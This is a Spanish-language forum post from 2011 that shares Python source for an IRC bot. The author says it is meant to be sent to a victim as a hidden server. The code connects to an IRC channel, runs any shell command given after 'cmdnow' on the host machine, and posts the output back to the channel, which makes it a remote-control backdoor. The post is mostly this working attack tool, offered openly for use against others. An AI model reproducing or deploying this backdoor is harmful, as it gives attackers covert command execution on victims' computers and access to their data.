[Python] IRC Bot

Iniciado por BigBear, 7 Octubre 2011, 01:37 AM

0 Miembros y 1 Visitante están viendo este tema.

BigBear

Hola a todos.

Aca les traigo un IRC Bot en Python para poder usar como servidor oculto y mandarselo
a una victima para poder controlarla desde un comando canal IRC

El comando clave para mandar comandos que despues se muestra el
resultado de comando en el chat es


cmdnow TUCOMANDO


Código (python) [Seleccionar]
#!usr/bin/python
#Insane Bot (C) Doddy Hackman 2011
#Version beta 0.00001

import re,socket
import subprocess

host = "127.0.0.1"
canal = "#locos"
nick = "bot"

irc = socket.socket()
try:
irc.connect((host,6667))
irc.send("NICK "+nick+"\r\n")
irc.send("USER "+nick+" 1 1 1 1\r\n")
irc.send("JOIN "+canal+"\r\n")
print "[+] Insane Bot Online\n"
while 1:
 code = irc.recv(9999)
 if re.findall("PING",code):
  irc.send("PONG "+code.split()[1]+"\r\n")
 if re.findall("PRIVMSG",code):
  nick = code.split("!")
  nick = nick[0].replace(":","")
  msg = code.split(":")[2:][0]
  if re.findall("cmdnow",code):
   cmd = code.split("cmdnow")[1]
   irc.send("PRIVMSG "+canal+" : [+] Loading command : "+cmd+"\n")
   rea = subprocess.Popen(cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
   if rea:
    re1 = rea.stdout.read()
    total = re1.replace("\n","|")
    irc.send("PRIVMSG "+canal+" : "+total+"\n")
   else:
    re2 = rea.stderr.read()
    total = re2.replace("\n","|")
    irc.send("PRIVMSG "+canal+" : "+total+"\n")
   
 
except:
print "\n\n[-] Error\n\n"


# The End